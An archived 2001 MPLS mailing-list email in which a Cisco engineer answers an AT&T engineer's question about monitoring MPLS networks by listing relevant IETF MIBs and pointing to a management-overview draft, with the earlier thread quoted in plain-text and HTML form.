	for mpls-outgoing; Thu, 1 Nov 2001 02:52:38 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlnex24959
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 1 Nov 2001 02:52:32 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlnex14830
	for <mpls@uu.net>; Thu, 1 Nov 2001 02:52:02 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlnex21295
	for <mpls@uu.net>; Thu, 1 Nov 2001 02:52:21 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id VAA25809 for <mpls@uu.net>; Wed, 31 Oct 2001 21:52:01 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id VAA21092 for mpls@uu.net; Wed, 31 Oct 2001 21:52:01 -0500 (EST)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlndw21384
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 31 Oct 2001 20:04:47 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlndw12613
	for <mpls@UU.NET>; Wed, 31 Oct 2001 20:03:39 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlndw00989
	for <mpls@UU.NET>; Wed, 31 Oct 2001 20:03:58 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id PAA21052; Wed, 31 Oct 2001 15:03:38 -0500 (EST)
Received: from tnadeau-w2k.cisco.com (tnadeau-frame5.cisco.com [10.83.99.126])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id AAF04649;
	Wed, 31 Oct 2001 15:03:35 -0500 (EST)
Message-Id: <4.3.2.7.2.20011031145906.02802468@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Wed, 31 Oct 2001 15:04:29 -0500
To: "Cuevas, Enrique G, ALCTA" <ecuevas@att.com>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: RE: Performance Monitoring on MPLS
Cc: Per Eirik Heimdal <perheim@frisurf.no>, mpls@UU.NET
In-Reply-To: <28F05913385EAC43AF019413F674A0172207FD@OCCLUST04EVS1.ugd.a
 tt.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_27561931==_.ALT"
Sender: owner-mpls@UU.NET
Precedence: bulk

--=====================_27561931==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed


>How about for all of the applications you mentioned? I think that would be 
>very helpful. After all, operators plan to use MPLS for various 
>applications and we are seeking for a robust MPLS platform that can 
>provide adequate monitoring, not only of performance, but also fault 
>detection, connectivity verification, etc.

         Assuming that the boxes you use support these MIBs, you can use
the following:

         MPLS-LSR-MIB -- LSP monitoring, performance information, 
notifications.
         MPLS-LDP-MIB -- LDP protocol information, sessions up/down 
notifications,
                                 etc...
         MPLS-TE-MIB -- TE tunnel monitoring, performance, notifications.
         Interfaces MIB -- TE tunnels supported as interfaces, or MPLS-enabled
                                 interfaces, statistics, notifications.
         MPLS-FTN-MIB -- ingress FTN mapping. Will show "hits" on FTN entries.
         PPVPN-MPLS-VPN-MIB -- MPLS/BGP VPN statistics, monitoring
         MPLS-LMP-MIB -- link bundling, performance, stats

         Actually, just take a look at The MPLS Management Overview. It 
provides
you with an overview of what can be used to manage what. I knew we put this 
thing
together for a reason. 8)

http://www.ietf.org/internet-drafts/draft-ietf-mpls-mgmt-overview-00.txt

         Let me know if you still have questions after looking this over.

         --Tom



>Enrique
>_______________
>ecuevas@att.com
>Tel. (732)-420-3252
>-----Original Message-----
>From: Thomas Nadeau [mailto:tnadeau@cisco.com]
>Sent: Wednesday, October 31, 2001 9:46 AM
>To: Per Eirik Heimdal
>Cc: mpls@UU.NET
>Subject: Re: Performance Monitoring on MPLS
>
>>Can anybody help with suggestions to what should be monitored on MPLS 
>>level to give an impression of the performance? I am thinking of both 
>>traffic parameters and operational isssues (indications if an LSP has 
>>gone down etc.)
>         Can you give me an idea of which applications of MPLS
>you are interesting in monitoring (i.e.: VPN, TE, PWE3, general/auto-routed)?
>That will allow me to be specific about what is available from the IETF
>and elsewhere.
>
>         --Tom
>
>
>
>
>
>>I would also appreciate references to drafts, RFCs etc. eventually 
>>describing this.
>
>
>
>
>
>
>
>
>>Thanks!
>>BR
>>Per Eirik
>
>
>
>
>------------------------------------------------------------------------
>Mathematics is the supreme nostalgia of our time.



------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 
--=====================_27561931==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font size=3><br>
</font><blockquote type=cite cite><font size=2 color="#0000FF">How about
for all of the applications you mentioned? I think that would be very
helpful. After all, operators plan to use MPLS for various applications
and we are seeking for a robust MPLS platform that can provide adequate
monitoring, not only of performance, but also fault detection,
connectivity verification, etc.</font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Assuming
that the boxes you use support these MIBs, you can use<br>
the following:<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>MPLS-LSR-MIB
-- LSP monitoring, performance information, notifications.<br>
&nbsp;&nbsp; <x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>MPLS-LDP-MIB --
LDP protocol information, sessions up/down notifications, <br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>etc...<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>MPLS-TE-MIB
-- TE tunnel monitoring, performance, notifications.<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Interfaces
MIB -- TE tunnels supported as interfaces, or MPLS-enabled<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>interfaces,
statistics, notifications.<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>MPLS-FTN-MIB
-- ingress FTN mapping. Will show &quot;hits&quot; on FTN entries.<br>
<font size=3><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>PPVPN-MPLS-VPN-MIB
-- MPLS/BGP VPN statistics, monitoring<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>MPLS-LMP-MIB
-- link bundling, performance, stats<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Actually,
just take a look at The MPLS Management Overview. It provides<br>
you with an overview of what can be used to manage what. I knew we put
this thing<br>
together for a reason. 8)<br>
<br>
<a href="http://www.ietf.org/internet-drafts/draft-ietf-mpls-mgmt-overview-00.txt" eudora="autourl">http://www.ietf.org/internet-drafts/draft-ietf-mpls-mgmt-overview-00.txt</a><br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Let me
know if you still have questions after looking this over.<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>--Tom<br>
<br>
<br>
<br>
</font><blockquote type=cite cite><font size=2 color="#000080"><b><i>Enrique</i></b></font><font size=3>
<br>
</font><font size=2 color="#000080"><b><i>_______________</i></b></font><font size=3>
<br>
</font><font size=2 color="#000080">ecuevas@att.com</font><font size=3>
<br>
</font><font size=2 color="#000080">Tel.
(732)-420-3252</font><font size=3> </font>
<dl><font face="tahoma" size=2>
<dd>-----Original Message-----
<dd>From:</b> Thomas Nadeau
[<a href="mailto:tnadeau@cisco.com" eudora="autourl">mailto:tnadeau@cisco.com</a>]
<dd>Sent:</b> Wednesday, October 31, 2001 9:46 AM
<dd>To:</b> Per Eirik Heimdal
<dd>Cc:</b> mpls@UU.NET
<dd>Subject:</b> Re: Performance Monitoring on MPLS<br>
<br>
</font><font size=3><blockquote type=cite cite>
<dd>Can anybody help with suggestions to what should be monitored on MPLS
level to give an impression of the performance? I am thinking of both
traffic parameters and operational isssues (indications if an LSP has
gone down etc.)</blockquote>
<dd><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Can
you give me an idea of which applications of MPLS
<dd>you are interesting in monitoring (i.e.: VPN, TE, PWE3,
general/auto-routed)?
<dd>That will allow me to be specific about what is available from the
IETF
<dd>and elsewhere.<br>
<br>

<dd><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>--Tom<br>
<br>
<br>
<br>
<br>
<br>
<blockquote type=cite cite>
<dd>I would also appreciate references to drafts, RFCs etc. eventually
describing this.</blockquote><br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<blockquote type=cite cite>
<dd>Thanks!
<dd>BR
<dd>Per Eirik </blockquote><br>
<br>
<br>
<br>

<dd>------------------------------------------------------------------------
<dd>Mathematics is the supreme nostalgia of our time. </font>
</dl></blockquote><br>
<br>
<br>
<div>------------------------------------------------------------------------</div>
Mathematics is the supreme nostalgia of our time. 
</html>

--=====================_27561931==_.ALT--